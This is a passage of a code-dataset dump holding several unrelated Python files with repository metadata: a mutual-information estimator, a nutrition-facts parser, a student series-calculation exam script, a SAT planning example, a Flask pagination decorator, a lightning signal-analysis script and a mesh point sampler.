function.\n \n Returns\n -------\n fig: instance of the figure.Figure class from pyplot\n The output figure.\n\n \"\"\"\n from gmm_mi.utils.plotting import plot_contours\n gmm = self._single_fit() \n if n_samples:\n fitted_samples = gmm.sample(n_samples)[0]\n else: \n fitted_samples = gmm.sample(self.X.shape[0])[0]\n fig = plot_contours(self.X, fitted_samples, parameters, extents, **kwargs)\n return fig\n \n def _calculate_MI_categorical(self):\n \"\"\"Calculate mutual information (MI) integral given a Gaussian mixture model in 2D.\n Use only Monte Carlo (MC) method. \n The complete formula can be found in Appendix B of Piras et al. (2022).\n\n Returns\n -------\n MI : float\n The value of MI.\n \"\"\" \n MI = 0 \n for category_value in range(self.category_values):\n samples = self.all_gmms[category_value].sample(self.MC_samples)[0]\n log_p = self.all_gmms[category_value].score_samples(samples)\n p_inner = 0\n for inner_category_value in range(self.category_values):\n p_inner += np.exp(self.all_gmms[inner_category_value].score_samples(samples))\n p = np.log(p_inner/self.category_values)\n MI += np.mean(log_p - p)\n MI /= self.category_values\n return MI\n \n def _perform_bootstrap_categorical(self):\n \"\"\"Perform bootstrap on the given data to calculate the distribution of mutual information (MI),\n in the categorical-continuous case. If n_bootstrap < 1, do only a single fit on the entire dataset.\n\n Returns\n ----------\n MI_mean : float\n Mean of the MI distribution.\n MI_std : float\n Standard deviation of the MI distribution. None if bootstrap==False.\n \"\"\" \n if self.n_bootstrap < 1:\n do_bootstrap = False\n self.n_bootstrap = 1 # we will use only one dataset, i.e. all data\n else:\n do_bootstrap = True\n MI_estimates = np.zeros(self.n_bootstrap)\n for n_b in tqdm(range(self.n_bootstrap)): \n # to store the fitted GMM models for each category value\n self.all_gmms = []\n for category_value in range(self.category_values):\n current_ids = np.where(self.Y == category_value)\n # we select the relevant latents again\n current_latents = self.X[current_ids]\n current_latents = np.reshape(current_latents, (-1, 1))\n n_components = self.category_best_params[category_value]['bc']\n w_init = self.category_best_params[category_value]['w']\n m_init = self.category_best_params[category_value]['m']\n p_init = self.category_best_params[category_value]['p']\n random_state = self.category_best_params[category_value]['seed']\n if do_bootstrap:\n # we use index n_b to change the seed so that results will be fully reproducible\n rng = np.random.default_rng(n_b)\n X_bs = rng.choice(current_latents, current_latents.shape[0])\n else:\n X_bs = current_latents \n gmm = single_fit(X=X_bs, n_components=n_components, reg_covar=self.reg_covar, \n threshold_fit=self.threshold_fit, max_iter=self.max_iter, random_state=random_state, \n w_init=w_init, m_init=m_init, p_init=p_init) \n self.all_gmms.append(gmm)\n MI_estimates[n_b] = self._calculate_MI_categorical()\n\n MI_mean = np.mean(MI_estimates)\n MI_std = np.sqrt(np.var(MI_estimates, ddof=1)) if do_bootstrap else None\n return MI_mean, MI_std\n \n def fit_categorical(self, X, Y=None, verbose=False):\n \"\"\"Fit joint probability distribution between a continuous and a categorical variable.\n Uses GMMs and k-fold cross-validation.\n\n Parameters\n ---------- \n X : array-like of shape (n_samples, 2) or (n_samples, 1) or (n_samples)\n Samples from the joint distribution of the two variables whose MI is calculated.\n If Y is None, must be of shape (n_samples, 2); otherwise, it must be either (n_samples, 1) or (n_samples).\n The first column of X must correspond to the samples of the continuous variable, and the second column\n to the categorical values corresponding to the first column.\n Y : array-like of shape (n_samples, 1) or (n_samples), default=None\n Categorical values corresponding to X, if X is 1D.\n If None, X must be of shape (n_samples, 2); otherwise, X and Y must be (n_samples, 1) or (n_samples). \n \n Returns\n ----------\n None\n \"\"\"\n self.verbose = verbose\n # if fit was already done, exit without doing anything\n if self.fit_done:\n if self.verbose:\n print('Fit already done, not being repeated.')\n return\n \n X_together = self._check_shapes(X, Y)\n X = X_together[:, :1]\n Y = X_together[:, 1:] \n self.X = X\n self.Y = Y\n self.category_values = len(np.unique(Y))\n self.verbose = verbose\n\n self.category_best_params = [] # used to store parameters of each GMM fit\n for category_value in range(self.category_values):\n current_ids = np.where(self.Y == category_value)\n # select latents corresponding to current category value\n current_latents = X[current_ids]\n # need to fit the current latents; this is p(z_i | f_i = category_value)\n current_latents = np.reshape(current_latents, (-1, 1))\n \n # initialize attributes every time\n self.converged = False\n self.best_metric = -np.inf\n self.patience_counter = 0\n self.results_dict = {} \n \n for n_components in range(1, self.max_components+1):\n if self.fixed_components:\n if n_components < self.fixed_components_number:\n continue \n else:\n self.converged = True\n current_results_dict = CrossValidation(n_components=n_components, n_folds=self.n_folds, \n max_iter=self.max_iter, init_type=self.init_type, scale=self.scale,\n n_inits=self.n_inits, threshold_fit=self.threshold_fit, \n reg_covar=self.reg_covar).fit(current_latents)\n self.results_dict[n_components] = current_results_dict\n if not self.converged:\n self.metric = self._select_best_metric(n_components=n_components)\n self._check_convergence(n_components=n_components)\n\n if self.converged:\n best_components, best_seed, w_init, m_init, p_init = self._extract_best_parameters(n_components=n_components, \n fixed_components=self.fixed_components,\n patience=self.patience)\n # save the best parameters for the current GMM category, and collect all of them before proceeding\n self.category_best_params.append({'w': w_init, 'm': m_init, 'p': p_init, \n 'bc': best_components, 'seed': best_seed}) \n break\n \n # in the unlikely case that we have not reached enough GMM components\n # we raise an error since we need all GMM parameters to calculate MI\n if n_components == self.max_components:\n raise ValueError(f\"Convergence in the number of GMM components was not reached! \"\\\n f\"Try increasing max_components or threshold_components, \"\\\n f\"or decreasing the patience.\")\n\n # at this point, either self.converged=True or self.reached_max_components=True\n # these indicate that the fit has been done, and there is no need to repeat it\n self.fit_done = self.converged or self.reached_max_components\n \n if self.verbose:\n print(f'Found best parameters for all GMMs, now can start MI estimation.') \n \n def estimate_categorical(self, mi_dist_params=None, base=np.exp(1), verbose=False):\n \"\"\"Calculate mutual information (MI) distribution between a continuous and a categorical variable.\n Uses the fitted models to calculate MI, using Monte Carlo integration (numerical integration is not implemented).\n The MI uncertainty is calculated through bootstrap.\n The complete formula can be found in Appendix B of Piras et al. (2022), arXiv 2211.00024.\n\n Parameters\n ---------- \n (inherited from MIDistParamHolder, passed as mi_dist_params) \n n_bootstrap : int, default=50 \n Number of bootstrap realisations to consider to obtain the MI uncertainty.\n Higher values will return a better estimate of the MI uncertainty, and\n will make the MI distribution more Gaussian-like, but the code will take longer.\n If < 1, do not perform bootstrap and actually just do a single fit on the entire dataset.\n integral_method : {'MC'}, default='MC' \n Method to calculate the MI integral. Must be 'MC' (uses Monte Carlo integration with \n MC_samples samples). Only 'MC' is implemented for the categorical case; any other choice \n will throw an error. \n MC_samples : int, default=1e5\n Number of MC samples to use to estimate the MI integral. Only used if integral_method == 'MC'.\n Higher values will return less noisy estimates of MI, but will take longer. \n base : float, default=np.exp(1)\n The base of the logarithm to calculate MI. \n By default, unit is nat. Set base=2 for bit.\n verbose : bool, default=False\n Whether to print useful procedural statements.\n\n \n Returns\n ----------\n MI_mean : float\n Mean of the MI distribution, in nat (unless a different base is specified).\n MI_std : float\n Standard deviation of the MI distribution, in nat (unless a different base is specified).\n \"\"\"\n self.verbose = verbose\n \n if not self.fit_done:\n raise NotFittedError(\n \"This EstimateMI instance is not fitted yet. Call `fit` with appropriate \"\n \"arguments before using this estimator.\"\n )\n\n self.mi_dist_params = mi_dist_params if mi_dist_params else MIDistParamHolder()\n if self.integral_method != 'MC':\n raise ValueError(\n \"Only MC integration is implemented for the categorical case. \"\n f\"Set integral_method='MC'; found {self.integral_method}\"\n ) \n\n # get MI distribution\n MI_mean, MI_std = self._perform_bootstrap_categorical()\n \n # set units according to input base\n MI_mean, MI_std = self._set_units(MI_mean, MI_std, base)\n self.MI_mean, self.MI_std = MI_mean, MI_std \n return MI_mean, MI_std \n \n def fit_estimate_categorical(self, X, Y, mi_dist_params=None, base=np.exp(1), verbose=False):\n \"\"\"Combine the `fit_categorical` and `estimate_categorical` methods for easier calculation of MI. \n See the respective methods for all information.\n \"\"\" \n self.fit_categorical(X=X, Y=Y, verbose=verbose)\n MI_mean, MI_std = self.estimate_categorical(mi_dist_params=mi_dist_params, base=base, verbose=verbose)\n return MI_mean, MI_std \n","repo_name":"dpiras/GMM-MI","sub_path":"gmm_mi/mi.py","file_name":"mi.py","file_ext":"py","file_size_in_byte":47491,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"52"} +{"seq_id":"14865508881","text":"import re\nfrom typing import List\nimport pickle\nfrom pathlib import Path\n\nimport numpy as np\nimport pandas as pd\n\n\nwith open(\"data/recipe_title_embeddings_final.pkl\", \"rb\") as fIn:\n RECIPE_TITLE_EMBEDDINGS = pickle.load(fIn)\n\nwith open(\"data/recommendable_recipes_embeddings.pkl\", \"rb\") as fIn:\n RECOMMENDABLE_TITLE_EMBEDDINGS = pickle.load(fIn)\n\nRECIPES_METADATA = pd.read_csv(\"data/recipes_with_nutrition_features.csv\")\n\nINGREDIENTS_INDICES = pd.read_csv(\"data/ingredient_indices.csv\")\n\n# the following extract the numbers with the units;\n# most of the attributes have 2 values (value + % daily value);\n# Percent Daily Values are based on a 2,000 calorie diet!\n# the parsing includes 1,000 and 1000 parsing\nPARSING_ITEMS = {\n \"servings\": r\"(?<=Servings Per Recipe )(\\d+(,\\d+)*)\",\n \"calories\": r\"(?<=Calories )(\\d+(,\\d+)*)\",\n \"total_fat\": r\"(?<=Total Fat )(\\d+(,\\d+)*g )(\\d+(,\\d+)*%)\",\n \"saturated_fat\": r\"(?<=Saturated Fat )(\\d+(,\\d+)*g )(\\d+(,\\d+)*%)\",\n \"sodium\": r\"(?<=Sodium )(\\d+(,\\d+)*mg )(\\d+(,\\d+)*%)\",\n \"cholesterol\": r\"(?<=Cholesterol )(\\d+(,\\d+)*mg )(\\d+(,\\d+)*%)\",\n \"total_carbs\": r\"(?<=Total Carbohydrate )(\\d+(,\\d+)*g )(\\d+(,\\d+)*%)\",\n \"dietary_fiber\": r\"(?<=Dietary Fiber )(\\d+(,\\d+)*g )(\\d+(,\\d+)*%)\",\n \"total_sugars\": r\"(?<=Total Sugars )(\\d+(,\\d+)*g)\",\n \"protein\": r\"(?<=Protein )(\\d+(,\\d+)*g)\",\n \"vitamin_c\": r\"(?<=Vitamin C )(\\d+(,\\d+)*mg )(\\d+(,\\d+)*%)\",\n \"calcium\": r\"(?<=Calcium )(\\d+(,\\d+)*mg )(\\d+(,\\d+)*%)\",\n \"iron\": r\"(?<=Iron )(\\d+(,\\d+)*mg )(\\d+(,\\d+)*%)\",\n \"potassium\": r\"(?<=Potassium )(\\d+(,\\d+)*mg )(\\d+(,\\d+)*%)\",\n}\n\ndef get_project_root() -> Path:\n \"\"\"Return the Path to the project root.\"\"\"\n return Path(__file__).absolute().parent.parent\n\ndef nutrition_facts_parser(unstructured_nutrition_facts: str) -> dict:\n \"\"\"_summary_\n\n Args:\n unstructured_nutrition_facts (str): _description_\n\n Returns:\n dict: _description_\n \"\"\"\n structured_nutrition_dict = {}\n for nutrient, nutrient_regex in PARSING_ITEMS.items():\n match = re.search(nutrient_regex, unstructured_nutrition_facts)\n if match:\n split_match = match.group().strip().split(\" \")\n # print(nutrient, split_match)\n if len(split_match) == 1:\n single_split_match = split_match[0].split(\"g\")\n value = single_split_match[0]\n if len(single_split_match) > 1:\n structured_nutrition_dict[f\"{nutrient}_g\"] = int(\n value.replace(\",\", \"\")\n )\n else:\n structured_nutrition_dict[nutrient] = int(\n value.replace(\",\", \"\")\n )\n\n # adding the value and percentage daily value (assuming 2k calories):\n elif len(split_match) == 2:\n # separate value from unit:\n (value, _, value_unit) = re.match(\n r\"(\\d+(,\\d+)*)([a-z]+)\", split_match[0], re.I\n ).groups()\n # get percentage value\n prct_daily_value = int(\n re.match(r\"(\\d+(,\\d+)*)\", split_match[1], re.I)\n .groups()[0]\n .replace(\",\", \"\")\n )\n\n # add the nutrient value with its unit to the dict:\n structured_nutrition_dict[f\"{nutrient}_{value_unit}\"] = int(\n value.replace(\",\", \"\")\n )\n structured_nutrition_dict[\n f\"{nutrient}_prct_daily\"\n ] = prct_daily_value\n\n return structured_nutrition_dict\n\n\ndef sort_ingredients_alphabetically(ingredients: List):\n return sorted(ingredients, key=str.lower)\n\n\nif __name__ == \"__main__\":\n # example text obtained via scraping:\n text = \"Nutrition Facts\\nServings Per Recipe 16\\nCalories 80\\n% Daily Value *\\nTotal Fat 4g 6%\\nSaturated Fat 2g 11%\\nCholesterol 148mg 49%\\nSodium 114mg 5%\\nTotal Carbohydrate 2g 1%\\nDietary Fiber 0g 1%\\nTotal Sugars 1g\\nProtein 6g\\nVitamin C 6mg 29%\\nCalcium 12mg 1%\\nIron 2mg 13%\\nPotassium 76mg 2%\\n* Percent Daily Values are based on a 2,000 calorie diet. Your daily values may be higher or lower depending on your calorie needs.\\n** Nutrient information is not available for all ingredients. Amount is based on available nutrient data.\\n(-) Information is not currently available for this nutrient. If you are following a medically restrictive diet, please consult your doctor or registered dietitian before preparing this recipe for personal consumption.\\nPowered by the ESHA Research Database © 2018, ESHA Research, Inc. All Rights Reserved\"\n\n print(nutrition_facts_parser(unstructured_nutrition_facts=text))\n\n root = get_project_root()\n print(\"root: \", root)\n","repo_name":"mahernadar/FoodFlex","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"4368044896","text":"x = input(\"rakam?\")\r\nif 0 <= int(x) <= 25:\r\n delta = input(\"işlem?\")\r\n if str(delta) == str(\"/\") or str(delta) == str(\"*\"):\r\n multiple = 3 # ilk sonucun çarpanı\r\n afterOperation = 2 # deltaadan sonraki işlem\r\n power = 2 # ilk sonucun üssü\r\n factorial = 4 # faktoriel\r\n i = 2 # 30luk loop\r\n operation = 2 # + - belirlenmesinde kullanıldı\r\n variableFactorial = 4 # faktoriel işleminde\r\n bottomPower = 2 # alttakilerin üssü\r\n bottomNumber = 2\r\n xx = int(x)\r\n\r\n while int(i) < 32:\r\n print(\"Result after {}. term\".format(int(i) - 1))\r\n while int(power) > 1:\r\n firstThing = int(xx) * int(x)\r\n xx = firstThing\r\n power = int(power) - 1\r\n else:\r\n firstThing = int(firstThing) * int(multiple)\r\n\r\n while int(factorial) == int(variableFactorial):\r\n variableFactorial = int(factorial) - 1\r\n oldResult = int(variableFactorial) * int(factorial)\r\n else:\r\n while int(variableFactorial) > 1:\r\n variableFactorial = int(variableFactorial) - 1\r\n result = int(oldResult) * int(variableFactorial)\r\n oldResult = int(result)\r\n else:\r\n newResult = int(result)\r\n factorial = int(factorial) + 2\r\n variableFactorial = factorial\r\n\r\n if int(newResult) > int(firstThing):\r\n bracket = int(firstThing)\r\n else:\r\n bracket = int(newResult)\r\n\r\n if str(delta) == str(\"/\"):\r\n top = int(bracket) / int(afterOperation)\r\n else:\r\n top = int(bracket) * int(afterOperation)\r\n\r\n a = 0\r\n b = int(i) - 1\r\n looper = 0\r\n variableNumber = bottomNumber\r\n while int(a) < int(i): # a = 0 in first run\r\n yy = int(bottomNumber) # yy = 2 in first run\r\n if a == 0:\r\n while int(b) > 0: # b = 2 means it need to one loop\r\n variablePlus = int(yy) * variableNumber # 2*2 in first run\r\n yy = variablePlus\r\n b = b - 1\r\n plus = variablePlus # plus needs to be 64 in second loops first part\r\n bottomNumber = bottomNumber + 2\r\n variableNumber = bottomNumber\r\n else:\r\n yy = int(variableNumber)\r\n while int(b) > 0:\r\n variablePlus = int(yy) * variableNumber\r\n yy = variablePlus\r\n b = b - 1\r\n plus = plus + variablePlus\r\n variableNumber = variableNumber + 2\r\n b = int(i) - 1\r\n a = a + 1\r\n bottom = plus\r\n\r\n testOperation = int(operation) / 2\r\n if str(testOperation)[-1:] == str(\"0\"):\r\n realOperation = str(\"positive\")\r\n else:\r\n realOperation = str(\"negative\")\r\n\r\n if int(i) == 2:\r\n process = float(top) / float(bottom)\r\n processResult = float(process)\r\n print(processResult)\r\n else:\r\n process = float(top) / float(bottom)\r\n if realOperation == str(\"negative\"):\r\n process = float(process) - float(float(process) * 2)\r\n processResult = float(processResult) + float(process)\r\n print(float(processResult))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n i = int(i) + 1\r\n multiple = multiple + 4\r\n power = power + 3\r\n afterOperation = afterOperation + 5\r\n operation = operation + 1\r\n else:\r\n print(\"You can only write / or *\")\r\n print(\"Result after all process: {}\".format(processResult))\r\nelse:\r\n print(\"You need to write a number which it needs to be between 0 and 25\")\r\n\r\n","repo_name":"moris425/IT_exam_year_1","sub_path":"PC Engineering exam1.py","file_name":"PC Engineering exam1.py","file_ext":"py","file_size_in_byte":4079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"26626721409","text":"#!/usr/bin/python3\n\nfrom time import time\nfrom SATreachability import reachability2fma\nimport z3_wrapper\nfrom z3 import Solver, Bool, BoolRef, And, Or, Not, sat\n#from dpll import dpll\n\ndef solve_problem(instance,T):\n print(\"Solving problem with horizon length \" + str(T))\n init,goal,actions = instance\n formula = reachability2fma(init, goal, actions, T)\n #print(str(formula))\n clauses = formula.clauses()\n #for c in clauses:\n # print(c)\n starting_time = time()\n if False: # Use DPLL\n allvars = list(formula.vars())\n print(\"Total of \" + str(len(allvars)) + \" variables\")\n result,model = dpll(clauses,allvars.copy())\n if result:\n print(\"SATISFIABLE\")\n truevars = [ v for v in allvars if model[v] ]\n else:\n print(\"UNSATISFIABLE\")\n return\n else: # Use Z3\n result = {True: \"Satisfiable\", False: \"Unsatisfiable\"}\n z3_result, m, z3_duration = z3_wrapper.solve(clauses)\n print(\"Z3 result:\",end=' ')\n print(result[z3_result],end=', ')\n print(\"runtime : {}(s)\".format(z3_duration))\n if z3_result:\n truevars = []\n for v in formula.vars():\n if m[Bool(v)]:\n truevars.append(v)\n else:\n return\n print(\"PLAN:\")\n plan = []\n for v in truevars:\n if v.startswith(\"ACTION\"):\n name,t = v.split(\"@\")\n plan.append( (name[6:],int(t)) )\n plan.sort(key = (lambda e : e[1]))\n for a,t in plan:\n print(str(t) + \": \" + a)\n\n# Robot with two arms moving objects from room 1 to room 2,\n# with at most one object held in each arm at a time.\n# Plans are repeating the sequence of picking up object(s),\n# moving to room 2, dropping off the object(s),\n# and then possibly repeating after moving back to room 1.\n\n# Variable for denoting that hand is free, i.e. not holding anything\n\ndef freehand(hand):\n return \"free\" + hand\n\n# Variable for hand holding something\n\ndef holds(hand,obj):\n return \"holds\" + hand + obj\n\n# Variable for object is located in a room (and not being held by the robot)\n\ndef at(obj,room):\n return \"at\" + obj + \"_\" + room\n\n# Generate problem instance\n\ndef gripper(N):\n ROBOT = \"R\"\n objects = [ \"obj\" + str(i) for i in range(0,N) ]\n hands = [\"RIGHT\",\"LEFT\"]\n rooms = [\"1\",\"2\"]\n\n init = [ at(obj,\"1\") for obj in objects ] + [at(ROBOT,\"1\"),freehand(\"LEFT\"),freehand(\"RIGHT\")]\n goal = [ at(obj,\"2\") for obj in objects ]\n\n\n # Pick up object in hand\n\n pickups = [ (\"pickup\" + room + hand + obj,\n [freehand(hand),at(obj,room),at(ROBOT,room)],\n [holds(hand,obj)],\n [at(obj,room),freehand(hand)]) for hand in hands for obj in objects for room in rooms ]\n\n # Drop off object from hand\n\n dropoffs = [ (\"drop\" + room + hand + obj,\n [holds(hand,obj),at(ROBOT,room)],\n [at(obj,room),freehand(hand)],\n [holds(hand,obj)]) for hand in hands for obj in objects for room in rooms ]\n\n # Move ROBOT from room 1 to room 2, or vice versa.\n moves = [(\"move1to2\",[at(ROBOT,\"1\")],[at(ROBOT,\"2\")],[at(ROBOT,\"1\")]),\n (\"move2to1\",[at(ROBOT,\"2\")],[at(ROBOT,\"1\")],[at(ROBOT,\"2\")])]\n\n # All actions\n actions = pickups + dropoffs + moves\n\n return (init,goal,actions)\n\ndef main():\n # Test the gripper problem.\n # With 5 or 6 objects horizon of length 12 is needed.\n # Until horizon 11 formulas are unsatisfiable. Last one is satisfiable.\n # Additional 2 objects always require 4 steps longer horizon.\n # The runtimes for the last (hardest) unsatisfiable formulas\n # grow exponentially, roughly doubling every step.\n # The satisfiable formulas after them tend to be much easier.\n print(\"Gripper with 1 object\")\n for i in range(0,4):\n solve_problem(gripper(1),i)\n print(\"Gripper with 5 objects\")\n for i in range(0,12):\n solve_problem(gripper(5),i)\n\nmain()\n","repo_name":"Bessawy/Random-AI","sub_path":"PlogicMapping/examples-planning.py","file_name":"examples-planning.py","file_ext":"py","file_size_in_byte":3996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"26076078494","text":"from functools import wraps\n\nfrom flask import request\nfrom flask_marshmallow import Marshmallow\n\nma = Marshmallow()\n\n\ndef paginate(model, schema_class=None, sortable_fields=None):\n class DefaultSchema(ma.Schema):\n class Meta:\n fields = ('id',)\n\n schema_class = schema_class or DefaultSchema\n\n def decorator(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n page = int(request.args.get('page', 1))\n per_page = int(request.args.get('per_page', 10))\n sort_field = request.args.get('sort_field', 'id')\n sort_order = request.args.get('sort_order', 'asc')\n filter_field = request.args.get('filter_field')\n filter_value = request.args.get('filter_value')\n\n if sort_order not in ['asc', 'desc']:\n return {\"error\": \"Invalid sort order\"}, 400\n\n query = model.query\n\n if filter_field and filter_value:\n query = query.filter(getattr(model, filter_field) == filter_value)\n\n if sortable_fields and sort_field in sortable_fields:\n query = query.order_by(\n getattr(model, sort_field).asc() if sort_order == 'asc' else getattr(model, sort_field).desc()\n )\n\n paginated_query = query.paginate(page=page, per_page=per_page)\n\n schema = schema_class(many=True)\n serialized_data = schema.dump(paginated_query.items)\n\n result = {\n \"items\": serialized_data,\n \"page\": page,\n \"per_page\": per_page,\n \"total_pages\": paginated_query.pages,\n \"total_items\": paginated_query.total,\n }\n\n return func(pagination_result=result, *args, **kwargs)\n\n return wrapper\n\n return decorator\n","repo_name":"Jasim321/Pokemon","sub_path":"backend/decorators/pagination.py","file_name":"pagination.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"7975482674","text":"# avito2rss\nimport numpy as np\nfrom scipy import signal\nfrom numpy import array,mean\nimport matplotlib.pyplot as plt\nfrom scipy.signal import savgol_filter\nfrom scipy.signal import argrelextrema\nfrom scipy.fftpack import fft\nfrom scipy import stats\nfrom scipy.signal import hilbert, chirp\nimport time\nfrom matplotlib import rc\n\nrc('font',**{'family':'serif'})\nrc('text', usetex=True)\nrc('text.latex',unicode=True)\nrc('text.latex',preamble=r'\\usepackage[utf8]{inputenc}')\nrc('text.latex',preamble=r'\\usepackage[russian]{babel}')\nplt.rcParams.update({'font.size': 14})\n# (?# plt.xlabel(r'\\textbf{Время, с}'))\n# plt.yticks([])\n\ndef tic():\n #Homemade version of matlab tic and toc functions\n import time\n global startTime_for_tictoc\n startTime_for_tictoc = time.time()\n\ndef toc():\n import time\n if 'startTime_for_tictoc' in globals():\n print(\"Elapsed time is \" + str(time.time() - startTime_for_tictoc) + \" seconds.\")\n else:\n print(\"Toc: start time not set\")\n\nclass data_signal(object):\n\n\tdef __new__(cls):\n\t\t# print(path)\n\t\treturn super(data_signal, cls).__new__(cls)\n\n\tdef __init__(self):\n\n\t\tnum = 79\n\t\tdata = np.load('../numpydata/data'+str(num)+'.npy')\n\n\t\tH_noise_level = 25 # уровень шума поля H\n\t\tself.flux_diff_interval = 200 # количество отсчетов, усредняемых при расчете производной\n\t\tself.flux_diff_stroke_interval = 8000 # расстояние между крупными разрядами, отсчетов\n\t\tself.flux_diff_noise_level = 2 # шум производной\n\t\tself.flux_padding = 10000 # поля найденного пика\n\t\tself.stroke_time = 200e-6 # 200 мкс (с запасом: можно 100, но вопросы к разрешению)\n\t\tself.stroke_padding = 10 # отсчетов, область поиска разрешенных компонент\n\n\t\tself.raw_flux_data = data[2]\n\t\tself.Hx = data[0] - np.mean(data[0])\n\t\tself.Hy = data[1] - np.mean(data[1])\n\t\tself.Ez = data[3] - np.mean(data[3])\n\n\t\tself.Hx[np.abs(self.Hx)flux_diff_stroke_interval)[0])).nonzero()]\n\nscopes = np.split(np.linspace(0, len(dy)-1, len(dy)-1,dtype=np.int),q)\nt = obj.raw_time\n\n\nfor i,scope in enumerate(scopes):\n\tscope = np.delete(scope,np.where(dy[scope]==0))\n\tif len(scope)!=0:\n\t\t# mini = scope[np.argmin(dy[scope])]\n\t\t# maxi = scope[np.argmax(dy[scope])]\n\t\t# plt.plot(t[mini],dy[mini],'ro')\n\t\t# plt.plot(t[maxi],dy[maxi],'go')\n\t\t# plt.plot(t[scope],dy[scope])\n\n\t\tpadding_scope = np.linspace(scope[0]-flux_padding,scope[-1]+flux_padding,len(scope)+2*flux_padding, dtype=np.int)\n\t\tif len(padding_scope)>0:\n\t\t\tscope = padding_scope\n\n\t\ttemp = np.argmin(flux_data[scope])-np.argmax(flux_data[scope])\n\t\tstroke_sign = temp/abs(temp)\n\t\tstroke_flux_ampl = np.abs(np.max(flux_data[scope])-np.min(flux_data[scope]))\n\n\t\tH_x = Hx[scope[0]:scope[-1]]\n\t\tH_y = Hy[scope[0]:scope[-1]]\n\t\tE_z = Ez[scope[0]:scope[-1]]\n\n\t\t# Поиск первого разряда\n\t\tinds = [np.argmax(np.abs(H_x)), np.argmax(np.abs(H_y)), np.argmax(np.abs(E_z))]\n\t\tampls = [np.max(np.abs(H_x)), np.max(np.abs(H_y)), np.max(np.abs(E_z))]\n\t\tindmax = inds[np.argmax(ampls)]\n\t\tindmax = np.argmax(np.sqrt(H_x**2+H_y**2))\n\t\t# print(scope[0])\n\t\tplt.axvline(x=t[scope[0]+indmax])\n\t\t# print(indmax)\n\t\t# print(H_x[indmax],Hx[scope[0]+indmax])\n\t\tmax_scope = np.linspace(scope[0]+indmax-stroke_padding,scope[0]+indmax+stroke_padding,stroke_padding*2,dtype=np.int)\n\t\t# print(max_scope)\n\t\tHxmax = np.max(Hx[max_scope])\n\t\tHymax = np.max(Hy[max_scope])\n\t\tEzmax = np.max(Ez[max_scope])\n\t\t# print(Hxmax,Hymax,Ezmax)\n\n\t\t# определение числа компоненты\n\t\tmaxs = argrelextrema(Hx[scope], np.greater)[0]\n\t\t# print(maxs)\n\t\tcount = 1\n\t\tfor j in range(1,len(maxs)):\n\t\t\tif Hx[scope[maxs[j]]]>500:\n\t\t\t\tif t[scope[maxs[j]]]-t[scope[maxs[j-1]]]<0.06:\n\t\t\t\t\tcount +=1\n\t\t\t\t# print(t[scope[maxs[j]]])\n\n\t\tprint('Начало разряда: {} с, амплитуда по флюксметру {}, знак разряда: {}'.format(t[scope[0]],stroke_flux_ampl,stroke_sign))\n\t\t# print('Hx={},Hy={}, Ez={}, число компонент {}'.format(Hxmax,Hymax,Ezmax,count))\n\t\tprint('Hx={},Hy={}, Ez={}'.format(Hxmax,Hymax,Ezmax))\n\t\tplt.plot(t[scope],flux_data[scope],'red',alpha=1)\n\t\tplt.plot(t[scope],Hx[scope]/50,'red',alpha=1)\n\t\tplt.plot(t[scope],Hy[scope]/50,'green',alpha=1)\n\t\tplt.plot(t[scope],Ez[scope]/50,'blue',alpha=1)\n\tscopes[i]=scope\ntoc()\n\nplt.figure()\nax = plt.subplot(111, projection='polar')\nax.plot([], [])\nax.set_rmax(2)\nax.set_rticks([0.5, 1, 1.5, 2]) # less radial ticks\nax.set_rlabel_position(-22.5) # get radial labels away from plotted line\nax.grid(True)\n\nax.set_title(\"A line plot on a polar axis\", va='bottom')\nplt.show()\n\n# plt.plot(obj.raw_time, dy)\n\n# obj.plot()\n# obj.show()","repo_name":"FedorSarafanov/lightning","sub_path":"py/main_2.py","file_name":"main_2.py","file_ext":"py","file_size_in_byte":5968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1240858028","text":"import random\nimport numpy as np\n\n\nrandom.seed = 42\n\n\ndef read_off(file):\n if 'OFF' != file.readline().strip():\n raise('Not a valid OFF header')\n n_verts, n_faces, __ = tuple([int(s) for s in file.readline().strip().split(' ')])\n verts = [[float(s) for s in file.readline().strip().split(' ')] for i_vert in range(n_verts)]\n faces = [[int(s) for s in file.readline().strip().split(' ')][1:] for i_face in range(n_faces)]\n return verts, faces\n\n\nclass PointSampler(object):\n def __init__(self, output_size):\n assert isinstance(output_size, int)\n self.output_size = output_size\n \n def triangle_area(self, pt1, pt2, pt3):\n side_a = np.linalg.norm(pt1 - pt2)\n side_b = np.linalg.norm(pt2 - pt3)\n side_c = np.linalg.norm(pt3 - pt1)\n s = 0.5 * ( side_a + side_b + side_c)\n return max(s * (s - side_a) * (s - side_b) * (s - side_c), 0)**0.5\n\n def sample_point(self, pt1, pt2, pt3):\n # barycentric coordinates on a triangle\n # https://mathworld.wolfram.com/BarycentricCoordinates.html\n s, t = sorted([random.random(), random.random()])\n f = lambda i: s * pt1[i] + (t-s)*pt2[i] + (1-t)*pt3[i]\n return (f(0), f(1), f(2))\n \n \n def __call__(self, mesh):\n verts, faces = mesh\n verts = np.array(verts)\n areas = np.zeros((len(faces)))\n\n for i in range(len(areas)):\n areas[i] = (self.triangle_area(verts[faces[i][0]],\n verts[faces[i][1]],\n verts[faces[i][2]]))\n \n sampled_faces = (random.choices(faces, \n weights=areas,\n cum_weights=None,\n k=self.output_size))\n \n sampled_points = np.zeros((self.output_size, 3))\n\n for i in range(len(sampled_faces)):\n sampled_points[i] = (self.sample_point(verts[sampled_faces[i][0]],\n verts[sampled_faces[i][1]],\n verts[sampled_faces[i][2]]))\n \n return sampled_points\n\n","repo_name":"aycandv/generative-pointnet","sub_path":"utils/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"40658471567","text":"from cgitb import text\r\nimport csv\r\nimport pandas as 